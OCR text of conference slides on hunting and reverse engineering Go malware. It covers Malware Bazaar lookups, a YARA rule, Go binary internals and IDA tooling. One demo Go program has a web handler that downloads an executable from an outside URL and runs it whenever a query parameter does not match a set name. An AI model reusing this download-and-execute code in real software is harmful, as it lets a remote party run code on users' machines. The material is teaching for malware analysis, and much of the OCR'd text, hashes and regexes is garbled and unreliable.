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] INTRODUCTION

= Go language has been created in 2007 (maybe back traced to Plan9).

= First released in 2009 by Google.

= Version 1.0 has been released on 2012.

= Golang introduces many interesting mechanisms such as channel, Goroutine, sync, wait
group, select, context and so on. For example, to start a goroutine, which is focused on
concurrency, we need simply to prefix a go function with the word “go”.

* Golang runs on Windows, Linux and Mac, so it’s attractive for adversaries.

* The number of incidents involving Go malware threats (mainly ransomware and packers)
have exploded since 2019 and nowadays they are in everywhere.
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1 INTRODUCTION

remnux@remnux:~$|malwoverview.py -b 2 -B golang

= Searching for Go malware...

= Few Go malware threats:

o
MALWARE BAZAAR REPORT s
___________________________________________________________________________________________ S
= GoBot2 =
o
sha256 hash: a50e8670c53118b8512a190823d4dfe34011801a61d9d50cc84262at14d2ebd9 " Hercules g
shal hash: 0dodb5fdffb523¢c7993ada320b3e29749d005564 u FritzFrog L
md5 hash: c68ed474f4783387112303bd5e821bb0o = Veil -
first seen: 2021-10-06 01:48:10 el E
last_seen: 2021-10-06 02:52:41 = DDGminer o
file name: mips 5
file size: 3342336 bytes " GoBrut 3
file type: elf n : w
mime type: application/x-executable SysupdataMI.ner E
tlsh: T1F5F549233A98D72ED315323055B6CAC4673A7C4902E7A517B781D30AEAC217C9EGEDF1 = Zebrocy (nation-state APT) z
reporter: r3dbU7z =
tags: elf golang mips " CHAOS "
------------------------------------------------------------------------------------------ = ARCANUS 2
sha256 hash: 799e9d00d61955523153bbeb87d7a295d3bff3c2af789d5951cf8578366e63a9 = C S ler.G . e
shal hash:  5b29b9c87leea7ce94ac75808d562dc02e26aead ryptoStealer.Go (e-crime) o
md5 hash: 601dab3d74a371f95128c4ed57756dd03 = Capoae (ransomware) v
first seen: 2021-10-06 01:45:33 . 2
last seen:  2021-10-06 02:52:40 " WellMess (nation-state APT) g
file name: x86 = |PStorm E
file size: 2965504 bytes .. =
file type:  elf = Netfilim (ransomware) <
mime_ type: application/x-executable =
tlsh: . TEEDDSSBIBFDCBdﬂFBDE4?1E?19558A22F333461@58336EAC3DA4E}1E?6E9686E1193265A " EKANS (ransomware) )
reporter: r3dbu7z = Go Loader (nation-state APT)

tags: elf golang




1 INTRODUCTION

remnux@remnux:~/malware/golang$ |[malwoverview.py -b 2 -B golang | grep sha256 | head -20

sha256 hash: a00f9938052cd7987d8/406/1bal2tblcde995601edb/5b63d/347e48b552bT5
sha256 hash: 5014f25ab8cl16a77455b17e022532537161ad534e650252bd7cd158159b83d6b
sha256 hash: 79fbld00ef9d85e958a17fd331b23dec507ed4f2e2c150fd580d0668b84d29d00
sha256 hash: 844e4b052686851b8d4312c509616beae70398bd59d0c22468d3Th48145296d8
sha256 hash: 7ef9667e73b84b6a031e28b6279e04cdB8abe82d69cd836043a7cfe®0978cb8a98
sha256 hash: a50e8670c53118b8512a190823d4dfe3407T1801a61d9d50cc84262atl4d2ebd9
sha256 hash: 799e9d00d61955523153bbeb87d7a295d3bff3c2af789d5951cf8578366e63a9
sha256 hash: 247f269b632e8dd544f039d11f805b3246bdd92b7052d3ada9312514222b52ecO
sha256 hash: b05b166337df0df2e79337a8a07004404ca87e05074dd122b1d5dd8e9737425e
sha256 hash: 496a46a07ae436b82b87bef642afbb3b06d9dbf0e0faec01997f63891f312FTade57
sha256 hash: d19bb0859df083a0b217d32df853053e98145da2f63996c79febf59225c17b95
sha256 hash: 85c93ec89ce7123f1la%4ede2cb5f31125b1954FTa5b72603f3cf90c0914aa5343
sha256 hash: 70d0b6dfB8deef8766fe54a92fcb640c57b0535a9f17421f3ba5b25ccd465133717
sha256 hash: f949bebf4a7426d8d9%0e6fc5cbdl3e60a6704fb25d6cabded2481456d7424404
sha256 hash: f556c9b4e5bb463be84dead45a9aedcf8becdlclc2b503ea52719357943750e7
sha256 hash: 9b7e0a2lel3fl607ef431f54a44902d9250a0d21420ccl618481bea5Sbldee8ba
sha256 hash: 9f84130cc5240f4df5afc674fded0012dd9ff141a28dfd171fbd0db9747dbc39
sha256 hash: 1l1leb5a3233f546af9lfaf54bef4a30b586919a9b4f8fc45b5c85410T658378cacl
sha256 hash: 9b921d4c8c3eea84615365d78a2e7223ebf427643a1b61122762b950bee3eada
sha256 hash: 4961954c47e12395dd73b8ccdbb36827f71e08al3f9%ecdccldaba51715334fc9
remnux@remnux:~/malware/golang$
remnux@remnux:~/malware/golang$ |malwoverview.py -b 5 -B 4961954c47ef2395dd73b8cc4bb36827f71e08al3f9ecd4ccldaba51715334fc9

A
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MALWARE BAZAAR REPORT = Download a sample from

Malware Bazaar is pretty easy.

SAMPLE SAVED!



1 INTRODUCTION

remnux@remnux:~/malware/golang$ 1s -1hS
total 186M

= Go malware samples are bigger than a common C/C++ malware.

-rw-r--r-- 1 remnux remnux|9.9M|0Oct 25 2021 5014f25ab8cl16a77455b17e022532537161ad534e650252bd7cd158159b83d6b.exe i
-rw-r--r-- 1 remnux remnux|7.8M|0ct 25 2021 06e87fdd502778ble2fceb93813aalfcd322a3d0e8e20a5c516cc2f383dblcfo.elf §
-rw-r--r-- 1 remnux remnux|7.8M|0Oct 25 2021 ad69e198905a8d4ade5c31ca8a3298a0a5d761740a5392d2abb5d6d2e966822f.elf =
-Tw-r--r-- 1 remnux remnux|7.2M|0Oct 25 2021 8c0al741bd3443e6d61bcc@d92033feedeccbf78abede26fbbf4d2a9089ea9d9.exe 3
-TwW-r--r-- 1 remnux remnux|6.8M|0ct 25 2021 496a46a07ae436b82b87bef642afbb3b06d9dbfOe0faec019976389f312fad4e57.elf E
-rw-r--r-- 1 remnux remnux|6.8M|0ct 25 2021 9b7e0a2lel3f1607ef431154a44902d9250a0d21420cc1618481bea5bldee86a.exe E
-rw-r--r-- 1 remnux remnux|6.6M|0Oct 25 2021 95193266e37a3401a0becaceb6d41171ab2968ed5289d666043251d05552d02fc.exe S
-rw-r--r-- 1 remnux remnux|6.6M|0Oct 25 2021 le5a3233f546af91faf54bef4a30b5869f9a9b4f8fcd45b5c85410f658378cacl.exe >
-rw-r--r-- 1 remnux remnux|6.4M|0Oct 25 2021 f556c9bd4e5bb463be84deadd45a9aedcf8becdlclc2b503ea52719357943750e7.exe -
-rw-r--r-- 1 remnux remnux|6.4M|0ct 25 2021 e453400f413b4ad2e996c28b7e72be2d42fc2a8d30e9c91a67abe0eb915aff7f.exe o
-Tw-r--r-- 1 remnux remnux|6.2M|0ct 25 2021 9f84130cc5240f4df5afc674fded0012dd9ff141a28dfd171fbd0@db9747dbc39.exe S
-rw-r--r-- 1 remnux remnux|6.1M|0Oct 25 2021 4961954c47et2395dd73b8cc4bb36827f71e08al3f9%ecd4ccldaba51715334fc9.exe S
-rw-r--r-- 1 remnux remnux|6.1M|0Oct 25 2021 9b921d4c8c3eeaB4615365d78a2e7223ebf427643al1bb61122762b950bee3eada.exe E
-rw-r--r-- 1 remnux remnux|5.9M|0Oct 25 2021 79fbld00ef9d85e958a17fd331b23dec507e412e2c150fd580d0668b84d29d00.exe 1G]
-rw-r--r-- 1 remnux remnux|5.6M|0Oct 25 2021 70d@b6df8deef8766Te54a92fcb640c57b0535a9f1742Ff3ba5b25¢ccd465133717.elf e
-rw-r--r-- 1 remnux remnux|5.6M|0ct 25 2021 85c93ec89ce7123T1a%ede2cb5731125b1954Ta5b7260313cf90c0914aa5343.elf 9
-rw-r--r-- 1 remnux remnux|5.6M|0Oct 25 2021 d19bb0859df083a0b217d32df853053e98145da2f63996c79febf59225c17b95.elf E
-rw-r--r-- 1 remnux remnux|5.2M|0ct 25 2021 9d701a6eabl50c0140c0153c4bb6clf3dbc0add845722b79bfTa75a98c200113fa.exe x
-rw-r--r-- 1 remnux remnux|4.9M|0Oct 25 2021 a®0f9938052cd7987d8740671bal2f6lcde995601edb75b63d7347e48b552bf5.exe %
-rw-r--r-- 1 remnux remnux|4.4M|0Oct 25 2021 59fall@c24920aacbf668baacadce7154265c2a3dcafld968T21b568bdazl30b.elf <
-Tw-r--r-- 1 remnux remnux|4.2M|0Oct 25 2021 2b03806939d1171f063ba8dl4c3bl0622edb5732e4f78dcdfe3deac98b56e5d46.elf 2
-Tw-r--r-- 1 remnux remnux|4.2M|0ct 25 2021 8fecd485e47fd1231aebladl07a4918f92c2b15fab66e9171be39%9a765d26al2ach.exe E
-rw-r--r-- 1 remnux remnux|3.5M|0ct 25 2021 2471269b632e8dd5441039d1f805b3246bdd92b7052d3ada9312514222b52ech.elf z
-rw-r--r-- 1 remnux remnux|3.5M|0Oct 25 2021 b05bl166337df0df2e79337a8a07004404ca87e05074dd122b1d5dd8e9737425¢e.elf x
-rw-r--r-- 1 remnux remnux|3.2M|Oct 25 2021 a50e8670c53118b8512a3190823d4dfe34011801a61d9d50cc84262afldd2ebd9.elf <
-Tw-r--r-- 1 remnux remnux|3.0M|0Oct 25 2021 Obafde9b22d7147de8fdb852bcd529b1730acddc9eb71316b66c180106F777f5.exe

-Tw-r--r-- 1 remnux remnux|2.9M|0ct 25 2021 799e9d00d61955523153bbeb87d7a295d3bff3c2af789d5951cf8578366e63a9.elf
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[Femnux@remnux:~/malware/golang$ grep -iEL "((\'?) ([a-zA-20-9 -1{203)\/) (([a-zA-Z0-9 -1{20})\/([a-zA-Z0-9 -1){203\/([a-zA-20-9 -1){20F(\"?7)$)" * | sort |

06e871dd502778ble2Tceb93813aaltcd322a3d0e8e20abc5lb6cc2T383dblcfO.elT
Obafde9b22d7147de8Tdb852bcd529b1730acddc9eb71316b66c180106F777f5.exe
2471269b632e8dd5447T039d17805b3246bdd92b7052d3ada9312514222b52ec0.elf
2ba2c20a826f51ed753f4f4dd78118d6T371a2fd5b4b0a2ff640c8f046d4fb55. exe
37f565011f764d49723188bb119845fecd4t2419a5080b74513fd0734e2a628e754.exe
4961954c47ef2395dd73b8ccd4bb36827171e08al3f9ecdccldaba51715334fc9.exe
496a46a07ae436b82b87bef642afbb3b06d9dbf0e0fae0199f6389f312fade57.elf
5014125ab8c16a77455b17e022532537161ad534e650252bd7cd158159b83d6b.exe
59fall0c24920aacbf668baacadce7154265c2a3dca®ld968f21b568bda2130b.elf
70dob6df8deef8766fe54a92fcb640c57b0535a9f1742f3ba5b25ccd465f33717.elf
799e9d00d61955523153bbeb87d7a295d3bff3c2af789d5951cf8578366e63a9.elf
79fb1d00ef9d85e958al17fd331b23dec507e4f2e2c150fd580d0668b84d29d00. exe
7c7ef3ab31ab91a7379bc2e3132473dfa7adf662d0c640et994103f6022a092b.exe
7ef9667e73b84b6a031e28b6279e04cdB8abe82d69cd836043a7cfe0978chb8a98.exe

844e4b052686851b8d4312c509616beae70398bd59d0c22468d3fb48145296d8.elf - _: n ny _ _ _ _ _ _ _ _
8471b945edaa37d2cfedala7c367cf3f273e8dee7353e6chb309a74d33b6a87b7.elf grep IEI ((\ * )([a ZA Zo 9— ]{20})\/)(([8 ZA Zo 9—
85c93ec89ce7123f1la%4ede2cb5f31125b1954fa5b72603f3cf90c0914aa5343.elf 20 a-zA-ZO-g - 20 a-zA-ZO-g - 20 "? L
8c0al741bd3443e6d61bccO@d92033feedecchf78abede26fbbf4d2a9089ea9d9. exe ]{ })\/([ _']){ }\/([ _']){ }(\‘ )S)
8fecd85e47fd1231aeblad4107a4918f92c2b15fab6e9171be39a765d26al2ach.exe * I sort

9b7e0a21el3f1607ef431f54a44902d9250a0d21420cc1618481bea5bldee86a.exe

9b921d4c8c3eeaB4615365d78a2e7223ebf42764aal1b61122762b950bee3eada. exe

9d701a6eabl50c0140c0153c4bbclf3dbchadd845722b79bfa75a98c200113fa.exe

97f84130cc5240f4df5afc674Tded0012dd9ff141a28dfd171Thd0db9747dbc39.exe

af0t9938052cd7987d8740671bal2f61cde995601edb75b63d7347e48b552bf5.exe

ab0e8670c53118b8512a190823d4dfe3407T1801a61d9d50cc84262atldd2ebd9.elf

ad69e198905a8d4ade5c31caBa3298a0a5d761740a5392d2abb5d6d2e966822T.elf

b05b166337df0dT2e79337a8a07004404ca87e05074dd122b1d5dd8e9737425¢e.elf

cd49c58defedd1594ad6c93c1019385e171el0bedel995eecd74540debfd942c. exe

d19bb0859df083a0b217d32dT853053e987T45da2f63996c79febf59225c17b95.elf - . o - - o
e453400f413b4ad2e996c28b7e72be2d42fc2a8d30e9c91a67a0e0e6915aff7f . exe PS: This regular expression is not perfect (so far from it),
f556c9b4e5bb463be84dead45a9aedcf8becdlclc2b503ea52719357943750e7 . exe . .
f8c94e76T4d756924bT929b32185158bc81911cedablbafb7e37460405e0ad3f.exe bUt It mlght help you’ eventua"y' @
f927dd9044d7Ta874dc6b98a0f5c9c64713a9e5393bfed@34b425chf8db93e501 . exe
f949bebf4a7426d8d90e6fc5chd13e60ab6704fb25d6cabded248f456d7424404 . elf

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER
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= strings -af * |grep -E "((\"?)([a-zA-Z0-9_-]{20})\/)(([a-zA-Z0-9_-]{20})\/([a-zA-Z0-9_-]){20}\/([a-zA-Z0-9 -]){20}(\"?)S)”

remnux@remnux:~/malware/golang$Istrings -af * |grep -E "({\”?}([a—zA—Z@—Q_—]{2@})\/}{([a—zA—Z@—g_—]{2@})\/[[a—zA—Z@—Q_—]){20}\/([a—zA—Z@—Q_—]){20}(\”?)$)”|
06e87fdd502778ble2fceb93813aalfcd322a3dbe8e20a5c516cc2T383dblcfO.elt:
Obafde9b22d7147de8fdb852bcd529b1730acddc9eb71316b66c180106f777f5.exe: Go build ID:
2471f269b632e8dd544f039d11805b3246bdd92b7052d3ada9312514222b52ec0.elf:
2ba2c20a826f51ed753f4f4dd78118d6f371a2fd5b4b0a2ff640c8f046d4fb55.exe: Go build ID:
3f56501f764d49723188bb119845fec4f2419a5080b74513fd0734e2a628e754.exe: Go build ID:
4961954c47et2395dd73b8ccd4bb36827f71e08al3f9ecdccldaba51715334fc9.exe: Go build ID:
496a46a07ae436b82b87bef642afbb3b06d9dbf0e0faec0199f6389f312fade57.elf:
5014f25ab8c16a77455b17e022532537161ad534e650252bd7cd158159b83d6b.exe: Go build ID:
59fall@c24920aacbf668baacadce7154265c2a3dca0l1d968f21b568bda2130b.elf:
70dob6df8deef8766fe54a92fcb640c57b0535a9f1742f3ba5b25cc465f33717.elf:
799e9d00d61955523153bbeb87d7a295d3bff3c2af789d5951cf8578366e63a9.elf:
79fb1de0ef9d85e958al17fd331b23dec507e4f2e2c150fd580d0668b84d29d00.exe: Go build ID:
7c7ef3ab31ab91a7379bc2e31f32473dfa7adf662d0c640et994103f6022a092b.exe: Go build ID:
7ef9667e73b84b6a031e28b6279e04cd8abe82d69cd836043a7cfe0978ch8a%98.exe: Go build ID:
844e4b052686851b8d4312c509616beae70398bd59d0c22468d3fb48145296d8.elf:
8471b945edaa37d2cfedala7c367cf3f273e8dee7353e6ch309a74d33b6a87b7.elt:
85c93ec89ce7123f1a9%94ede2cbhb5f31125b1954fa5b72603f3¢cf90c0914aa5343.elf:
8cPal741bd3443e6d61bcc0d92033feedecchf78abede26Tbbf4d2a9089ea9d9.exe: Go build ID:
8fec485e47fd1231aeblad107a4918f92c2bl5fa66e9171be39a765d26al2ach.exe: Go build ID:
9b7e0a2lel3f1607ef431f54a44902d9250a0d21420cc1618481beaShldee86a.exe: Go build ID:
9b921d4c8c3eeaB4615365d78a2e7223ebf42764aalb61122762b950bee3eada.exe: Go build ID:
9d701a6eabl50c0140c0153c4b6c1f3dbcPadd845722b79bfa75a98c200113fa.exe: Go build ID:
9f84130cc5240f4df5afc674fded0012dd9ff141a28dfd171fbd@db9747dbc39.exe: Go build ID:
a00f9938052cd7987d8740671bal2f61cde995601edb75b63d7347e48b552bf5.exe: Go build ID:
a50e8670c53118b85f2a190823d4dfe34011801a61d9d50cc84262afl4d2ebdd.elf:
ad69e198905a8d4a4e5c31ca8a3298a0a5d761740a5392d2abb5d6d2e966822f . elf:
b05b166337df0df2e79337a8a07004404ca87e05074dd122b1d5dd8e9737425e.elf:
cd49c58defedd1594ad6c93c1019385el171el0bedel995eecd74540debfd942c.exe: Go build ID:
d19bb0859df083a0b217d32df853053e981T45da2f63996c79febf59225¢c17b95.elf:
e4534007f413b4ad2e996c28b7e72be2d42fc2a8d30e9c91ab67a0ePeb915aff7f.exe: Go build ID:
f556c9b4de5bb463be84dead45a%9aedcf8becdlclc2b503ea52719357943750e7.exe:  Go build ID:
f8c94e76f4d756924bf929b321f85158bc81911cedab06af67e37460405e0ad3f.exe: Go build ID:
f927dd9044d7fa874dc6b98a0f5c9c64713a9e5393bfe034b425¢chf8db93e501.exe: Go build ID:
f949bebf4a7426d8d90e6fc5¢chd13e60a6704fb25d6cabded248f456d7424404 . elf:

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER

= |nformation about Build ID: https://golang.org/src/cmd/go/internal/work/buildid.go



] INTRODUCTION

rule golang {
meta:
description = "Golang Rule"
author = "Alexandre Borges"
date = "2021/10/25"
super rule = 1

H O OO & WK =

=

13
14
15

strings:

$al = "golang" wide ascil

$rel = /(go-1\.[1-9]{2})/ ascii wide

$re2 = /("?([a-zA-20-9 -]{20})\/)(([a-2zA-20-9 -]{20})\/([a-zA-20-9 -]
{20}\/([a-zA-20-9 -]){20}("?))/ ascil wide

condition:
(1 of them)

= Pretty basic Yara rule for hunting Go malware. Of course, it could be improved a lot (Sre2 might be

reduced) and condition could be more restrictive. For example, combining (Sal and Srel) or even ($al and
Sre2). Don’t matter, you got the point... ©

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER
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remnux@remnux:~/malware/yararules$| yara -wr golangflnd yar ../golang/

golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang
golang

../golang//f8c94e7674d756924bT92C 460405e0ad3f.
..fgﬂlangfff92?dd9644d?faB?4dc6b983@f5c9c64?f3ageﬁ393bfe@34b425cbf8db939581.
../golang//7c7ef3ab31ab91a7379bc2e3f32473dfa7adf662d0c640et9941037T6022a092b.
../golang//a50e8670c53118b8572a190823d4dfe3401801a61d9d50cc84262aftl4d2ebd9.
../golang//cd49c58defedd1594ad6c93c1019385el171el0bedel995eecd74540debfd942c.
../golang//799e9d00d61955523153bbeb87d7a295d3bTf3c2af789d5951cf8578366e63a9.
../golang//b05b166337df0df2e79337a8a07004404ca87e05074dd122b1d5dd8e9737425e.
../golang//8471b945edaa37d2cfedala7c367cf3f273e8dee7353e6ch309a74d33b6a87hb7.
../golang//59fall@c24920aacbfb68baacadce7154265c2a3dca®l1d968f21b568bda2130b.
../golang//247f269b632e8dd5441039d1f805b3246bdd92b7052d3ada9312514222b52ecO.
../golang//f949bebf4a7426d8d90e6fc5chbd13e60ab6704fb25d6cab4ed248T456d7424404.
../golang//7ef9667e73b84b6a031e28b6279e04cd8abe82d69cd836043a7cfe@978cbh8a98.
../golang//844e4b052686851b8d4312c509616beae70398bd59d0c22468d3Tb48145296d8.
../golang//2ba2c20a826f51ed753f4f4dd78118d6f371a2fd5b4b0a2ff640c8f046d4fb55.
../golang//0bafde9b22d7147de8fdb852bcd529b1730acddc9eb71316b66c180106T777f5.
../golang//9d701a6eabl150c0140c0153c4bb6clf3dbcPadd845722b79bfa75a98c200113fa.
../golang//85c93ec89ce7123f1la%ede2chb5f31125b1954Ta5b72603f3cf90c0914aa5343.
../golang//a00f9938052cd7987d8740671bal2f61cde995601edb75b63d7347e48b552bf5.
../golang//3f565011764d49723188bb119845fec412419a5080b74513fd0734e2a628e754.
../golang//4961954c47et2395dd73b8cc4bb36827171e08al3f9ecd4ccldaba51715334fc9.
../golang//2b03806939d1171f063ba8d14c3b10622edb5732e4f78dc4fe3eac98b56e5d46.
../golang//9f84130cc5240f4df5afc674fded0012dd97T141a28dfd171fbd0db9747dbc39.
../golang//79fb1d00ef9d85e958a17fd331b23dec507e4f2e2c150fd580d0668b84d29d00.
../golang//496a46a07ae436b82b87bef642afbb3b06d9dbf0e®@faec0199f63897312fade57.
../golang//8fec485e47fd1231aeblad107a4918f92c2b15fa66e9171be39a765d26al2ach.
../golang//9b921d4c8c3eeaB4615365d78a2e7223ebf42764aalb61122762b950bee3eada.
../golang//95193266e37a3401a0becace6d41171ab2968ed5289d666043251d05552d02fc.
../golang//8cPal741bd3443e6d61bcc0d92033feedeccbf78abede26fbbf4d2a9089ea9d9.
../golang//d19bb0859dT083a0b217d32df853053e98145da2f63996c79febf59225¢c17b95.
./golang//1le5a3233f546af91faf54bef4a30b5869f9a9b4f8fc45b5c85410f658378cacl.

exe
exe
elf
exe
elf
elf
elf
elf
elf
elf
exe
elf
exe
exe
exe
elf
exe
exe
exe
elf
exe
exe
elf
exe
exe
exe
exe
elf
exe

= |t’s worked as expected ©

11

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER



YINWVHYDO0Ud/YId0TIAIA LI0TdXI/YIINIDONT ISHYIATY — SIDY0Q IYANVYXITV

GO BINARY

12



1 GO BINARY

= Unfortunately, reversing Golang malware is not easy because Golang programs are
packed with garbage collector module and all necessary static libraries. Furthermore, it’s
easy to strip common and debug symbol information using go build -ldflags "-s -w*. If
symbol and debugging information are “removed”, finding useful evidences are harder.

= Notheless, Go metadata information (function names and respective entry points) can’t
be stripped so easily, so it could be useful during a reverse task.

= As all statically linked libraries are included into the binary (it doesn’t rely on any external
dependency), so listing strings and gathering additional information might not be so easy.
In addition, determining useful functions could demand some work because the sample
might have thousands of functions.

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER

= Unfortunately, strings in Go are not terminated in “\x00” , but they have a different
representation named “data string” that’s composed by “start address, length”.
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1 GO BINARY

= To make our tasks worse, Windows programs written in Go are implemented and
compiled using COFF symbol table, which could be make the distinction between data
and code harder.

= Different of Windows system, which has three or four calling conventions, Golang has
only one, whose caller function is responsible for reserving space on the callee’s stack for
returning values and callee’s parameters. Eventually, it makes distiguishing them a bit
more difficult during an analysis.

= Another subtle aspect of Go is that is very common have simple functions as shown
below:

= func myFirstRoutine( x int, y int) (int, int)

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER

= |n this case, the function accepts two arguments and return two arguments too, so it’s
required to understand the stack organization: 14



1 GO BINARY

Top of the stack

Stack

Second return value

Caller’s local variables.

15
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1 GO BINARY

"= As GC (Garbage Collector) is responsible for freeing memory, there’s a kind of
synchronization between goroutines and GC by using memory barries which handling
memory writes. Unfortunately, this can produce code difficult to be reverted.

= Previously we had several plugins and helper programs to support Go reversing such as
IDAGolangHelper (for IDA Pro) and r2_go _helper (for radare2). Nowadays, these
reversing tools (mainly IDA Pro 7.6) offer a better support to analyze go binaries without
needing external scripts.

= Get knowledge on details about Golang binary reversing and how to reversing tools are
able to make a good job demands learning internal details of Golang binaries such as
pcintab and moduledata structures as represented on these files:
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= https://golang.org/src/debug/gosym/pcintab.go
= https://golang.org/src/runtime/symtab.go
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1 GO BINARY

= On of purpose of runtime.pclntab is to make Go runtime system able to produce detailed
stack traces through APIs such runtime.GetStack.

= Therefore, is it true the statement that Go programs are big? Yes, and one of reasons is
the pcintab “uncompressed” (until version 1.14), but there’re good reasons: a better run-
time memory management and short initialization time.

= From Go version 1.15 up to current versions, the pcintab is compressed again (as prior Go
1.2) and, from version 1.16, it is not longer embedded into the executable, so it isn’t

present in the symbol table.

= Actually there isn’t the old runtime.pcintab symbol anymore and the new pcintab was
broken up in several pieces.

17
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1 GO BINARY

= A Golang binary has the following general composition:

* Meta information: build id (each go binary has an own build id), go version, GOROOT
(Go installation path) and so on

= Pclntab (Program Counter Line Table / Go Runtime Symbol Table information):
basically, it holds the function symbol table (routine’s name + entries points), which
starts at pcintab_address + 8. The magic number: OxFFFFFFFB.

* Runtime Type Information: method information of uncommon types, element types, ...

= |nterface table: interface type, methods, and so on

= Strings / string pointers

18
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1 GO REVERSING

= Go features such as interfaces, channels, slices, maps and so on might represent an
additional hurdle to circumvent, and we don’t can forget that Go binaries are bigger than
usual binaries from other programming languages.

= There are good tools (IDA is my favorite, by far) to analyze Go binaries such as:

= |IDA Pro/Home (version 7.6+): https://hex-rays.com/ida-pro/

Ghidra (https://github.com/NationalSecurityAgency/ghidra/releases)

= Binary Ninja (https://binary.ninja/)

JEB decompiler: https://www.pnfsoftware.com/

= Cerberos Suite (https://cerbero.io/)

20
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] FIRST STEPS ON GO REVERSING

= Before proceeding, let’s remember that installing and configuring Go infrastructure is not
hard, but it’s necessary to pay attention to small details.

* To download and install Go binaries, all information can be got on:
https://golang.org/doc/install

= Set the following environment variables:
= GOROOT (folder where Go is installed): C:\Program Files\Go
= GOPATH (your home directory for Go projects): C:\Users\Administrator\go

* Folder pointed by GOPATH variable contains folders such as bin, pkg and src (where are
stored our projects).

21
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] FIRST STEPS ON GO REVERSING

= Another important information is about the common organization of a typical Go
program: Module = Package = Go files

= For example, we'll be using the following environment:
= |nstall Go and set environment variables (as shown on the previous slide)
= |Install Visual Studio Code: https://code.visualstudio.com/

* |nstall Go extension (many additional depencies will be installed when you create your
first .go file)

= Create a module folder named “blackstormsecurity”, which will be used as a module:
mkdir src/blackstormsecurity

22
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= Using the Visual Studio Code, open the “blackstormsecurity” module folder.

= Open a terminal (Terminal 2 New Terminal) and, under “blackstormsecurity”
module, create a go.mod that declare this module:

= go mod init blackstormsecurity
" Create a package folder named “projectl” (it’s only a folder too) on Terminal:
= mkdir projectl

= Under “projectl” package, create a file named “conference.go” and insert the
following content (save it using CTRL+S):

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER
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] FIRST STEPS ON GO REVERSING

EXPLORER &0 conference.go 50 examplel.go X &0 download_exec.go ex
~ BLACKST... [} BT U co examplel.go > ...

w project package main

&0 conference.go

import

o download_exec.go ) ( S : .,

_ blackstormsecurity/projectl

= examplel.exe S

fmt

50 examplel.go "net/http"”

= go.mod )

func main()|{
fmt .Printf{"Running in main function!\n\n")
http.HandleFunc("/submit", projectl.Conference)
http.ListenAndServe(”:9999", nil)

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER
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] FIRST STEPS ON GO REVERSING

&0 conference.go X G0 examplel.go &0 download_exec.qgo

project1 > -6o conference.go > ...
package projectl

tunc Conference(mywriter http.ResponseWriter, myreader *http.Request) {

fmt .Println{"Running in Conference function!"™)
user := myreader.URL.Query().Get({ "user™)
fmt. Fprintf{mywriter, "The requester is: %siwn", user)
fmt.Printf("“The requester is: Zs\n\n", user)
it user != "alexandre” {
Download Exec{"calc2.exe”, "http://www.blackstormsecurity.com/conference/calc?.exe")

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER

25



] FIRST STEPS ON GO REVERSING

conference.go examplel.go download_execgo X = examplel.exe
o
- L _ L
project1 » download_exec.go » &) Download_Exec s
s
package projectl e
(U]
o
&
v import ( <
" fmt S
m = " w
io :
“log -
" y n (@]
net/http =
1 " ><
05 <
— i
0s/exec =
“time" 2
w
) "
(%)
o
w
o
tunc Download Exec(filename string, website string) { h
i
=
fmt.Println{"Running in Download Exec function!™) o
w
a
out, err := os.Create(filename) 2
>
if err != nil { =

log.Panicln{err)
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] FIRST STEPS ON GO REVERSING

resp, err := http.Get(website)
if err != nil {
log.Panicln{err)

¥

time.5leep(106 * time.Second)

if err != nil {
log.Panicln{err)

¥

io.Copy(out, resp.Body)
resp.Body.Close()
out.Close()

fmt.Println({"Executing the payload!™)

command := exec.Command(filename)
err = command.Run()
if err != nil {

log.Panicln{err)

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER
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] FIRST STEPS ON GO REVERSING

= Now you can do several different actions:
= Build the main.go module: go build examplel.go

= |nstall it: go install examplel.go (executable will be installed in
C:\Users\Administrator\go\bin)

" On Terminal, run the examplel.exe.

= Open your browser and type:

= http://127.0.0.1:9999/submit?user=alexandre
* http://127.0.0.1:9999/submit?user=borges

28
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PROBLEMS OUTPLUT DEBLMG COMNSOLE TERMIMAL

PS C:\Users\Administrador\go\src\blackstormsecurity>

PS C:\Users\Administradorgo\src\blackstormsecurity> go build examplel.go
PS C:\Users\Administrador\go\src\blackstormsecurity> go install examplel.go
PS C:\Users\Administradorgo\src\blackstormsecurity> od ..\..\bin\

PS C:\Users\Administradorgo\bin>

PS C:\Users\Administrador\go\bin> .\examplel.exe

Running in main function!

Running in Conference function!
The reguester is: alexandre

Running in Conference function!
The requester is: borges

Running in Download Exec function!
Executing the payload!

[

C:\Users\Administrador\go\bin}go tool buildid examplel.exe
KO- fiFGjxnhDURgiLXTp/ErI99GYDtUKPTk5]s5ct/pa1zkKhTbbuVCTsyqEIx/iJC7RX-PafR_TdgXvU n

C:\Users\Administrador\go\bin}go version examplel.exe
examplel.exe: gol.17.2

DEG

Scientific

F-E

M+

A Trigonometry ~

End

n

i

M- MS
f Function -

e C

|x| exp

) n!

8 9

5 6

2 3

0
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2 LR T LESLE Go binary is handled as a
Load file C:\Users\Administrador\Desktoplexample 1.exe as PE32/PE64 binary on IDA Pro’
'Efﬂ’fﬁ‘fﬁlj‘“”“h'”mmm':PE' [petd.dll) but the big difference is that,
from IDA Pro/Home 7.6 SP 1,
Processor type (double-dick to set) It IS able to dlsassembly Go

Intel 80486 protected 80486p binaries very well!

Intel 80486 real 20486r
Intel 8086 2086

Intel Pentium 4 pd No doubts, IDA Pro is the best
Intel Pentium I p2

el Peniurm I o3 program/tool for reverse

Intel Pentium Pro (P6) with MMX 80686p engineering, by far, and since
Intel Pentium protected with MMX 20536p

Intel Pentium real with MMX 80586r ever.

MetaPC (disassemble all opcodes) metapc

Intel 360 processors
